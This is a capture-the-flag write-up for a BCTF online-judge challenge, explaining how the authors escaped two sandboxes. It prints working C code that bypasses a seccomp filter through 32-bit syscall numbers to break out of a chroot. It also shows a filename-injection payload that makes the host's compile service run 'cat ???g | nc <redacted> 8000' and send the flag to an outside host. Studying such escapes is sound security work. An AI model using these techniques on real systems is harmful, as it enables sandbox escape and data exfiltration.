This weekend we played in BCTF, though we took it a little easy in preparation for upcoming CTFs. However, we were able to solve a challenge with only one other solve, so we decided to write up our progress on it. It essentially boiled down to a sandbox escape.
Escaping the First Sandbox
When we first go to the link in the problem description, we see a web form which presumably compiles and runs C code which we submit. Initially, it does not seem like we can get any output from the server other than “Compilation Error” or “Wrong Answer.” However, it does not seem that there are many security restrictions on the binary; initial tests show that we can’t execve, but we can at least open a socket to create a writeback. First, we attempt to learn a bit more about our environment. In particular, we write our uid to our connect back. It seems we’re running as root! Let’s get a directory structure listing:
/etc/{group,passwd}
/usr/sbin/chroot
/usr/bin/{whoami,id}
/lib64/ld-linux-x86-64.so.2
/root/scf.so
/root/1492329438123677.c.bin
/lib/x86_64-linux-gnu/(lots of shared libs)
/bin/{cp,mkdir,chmod,bash,cat,sh,ls}
At this point, we’re interested by a few things related to the directory structure; first, there’s no flag!? No sweat, we’re probably in a chroot (the flood of messages on IRC from people asking where the flag is confirms this theory). More alarming perhaps is the scf.so file that we see in the same directory as the file that was compiled for us. We dump it to our writeback, and immediately disassemble it.
Initially, it’s apparent that this shared object file is meant to be used as an
LD_PRELOAD
; normal shared object files do not have a __libc_start_main
. When we look
deeper into this method, we notice immediately that it dlopen’s libc.so.6, and then pulls
the real __libc_start_main
for later. Then, it calls prctl
in order to presumably
construct some sort of impromptu seccomp filter. The call to prctl actually installs a
Berkeley Packet Filter, as shown below. Upon disassembling it, we see that it blocks
execve
, fork
, ptrace
, clone
, chroot
, pivot_root
, process_vm_readv
, and
process_vm_writev
. Finally, it calls the correct __libc_start_main
, which eventually
finds its way into our main function.
LD.W ABS(0x4)
JEQ 3221225534
RET 0x0
LD.W ABS(0x0)
JEQ !59
RET 0x0
JEQ !57
RET 0x0
JEQ !101
RET 0x0
JEQ !56
RET 0x0
JEQ !161
RET 0x0
JEQ !155
RET 0x0
JEQ !310
RET 0x0
JEQ !311
RET 0x0
RET 0x7fff0000
Clearly, our binary is being run with the given __libc_start_main
via LD_PRELOAD
. We
also stipulate that we’re operating under a chroot! Naturally, we’d like to break out of
the chroot. Normally, it’d be trivial to break out; since we’re root, we could simply
create a new chroot, and use that to pivot out of the original chroot. However, there is a
seccomp filter installed over chroot and friends, so maybe we can’t use the same trick.
More research shows that this Berkley Packet Filter is not in fact bulletproof; it checks against the 64-bit syscalls, but fails to filter out the 32-bit variants, which we can access by or’ing the original syscall with 0x40000000. To test out this theory:
printf("chroot\n");
syscall(0x40000000 | SYS_chroot, ".foo");
printf("success\n");
We see the success statement in our connect-back, so our program was not killed. This means that we successfully performed the chroot (barring return values). This means, we can escape the chroot by using the normal sandbox escape, but with the modified syscall.
void change_root(void)
{
mkdir(".42", 0755);
syscall(SYS_chroot | 0x40000000, ".42");
chdir(".42");
syscall(SYS_chroot | 0x40000000,
"../../../../../../../../../../../"
"../../../../../../../../../../../");
}
Now, when we dump the filesystem from the root directory, we see an entire docker image with some interesting files. Specifically, we see
/flag
/home/ctf/oj/sandbox/cr
/home/ctf/oj/sandbox/sandbox
/.dockerenv
First, we go straight for the flag; however, no matter how we try, we cannot seem to open the flag! It seems we do not have the proper permissions to open it, but presumably we’re root. What gives?
Escaping the Second Sandbox
We dump the two binaries, cr
and sandbox
to reveal a little more about what’s going on
here. The cr
binary seems to be servicing files in a busy loop; as source files are
dropped by the main service (specifically, in /home/ctf/oj/src
), it compiles the files
with gcc and then proceeds to run the sandbox binary with the path to the elf that was
just compiled. Overall, the cr
binary is not quite so interesting, as it doesn’t explain
why we don’t have permission to open the flag.
User namespaces effect the majority of the sandboxing done by the second binary, aptly
named sandbox. In particular, it writes 0 <uid> 1
to /proc/<fd>/uid_map
; this
effectively gives us root within the namespace only, which is why we were able to break
out of the chroot. This also explains why we do not have the permissions to read the flag
file, owned by the host. Less interesting, the sandbox binary prepares the chroot, forks
and cleans up the chroot after our program has exited or timed out.
After all that, we still are no closer to reading the flag. However, it’s interesting to
note that cr
is running as a “service,” effectively. It has effective permissions of the
host, and presumably the flag natively exists in the host. So, we aim to trigger a
vulnerability in cr
; noting that cr
compiles our code, effectively by passing the
result of sprintf(buffer, "gcc %s -o %s", source, binary)
directly to system
, we drop
a file in /home/ctf/oj/src
which breaks out of the gcc command (i.e. with a semicolon).
When we execute the following code, we end up with cr executing the following command:
gcc /home/ctf/oj/src/a;cat ???g | nc <redacted> 8000; garbage
, which sends the flag back
to our connect-back, as intended. Note that it’s most likely sheer luck that cr
is
executing in the root directory, so the shell expansion works as expected. (We spent a few
hours wondering why “cat /flag” wasn’t working, only to remember you can’t have a ‘/’ in
file names ;P)
int main(void)
{ /* break out of the chroot */
mkdir(".42", 0755);
syscall(SYS_chroot | 0x40000000, ".42");
chdir(".42");
syscall(SYS_chroot | 0x40000000,
"../../../../../../../../../../../"
"../../../../../../../../../../../");
/* fool cr into sending us the flag file */
fopen("/home/ctf/oj/src/a;cat ???g| nc <redacted> 8000;", "ab+");
return 0;
}
// flag: bctf{Y0u_4r3_7h3_exp0r7_0f_s4nd60x_6yp4551ng}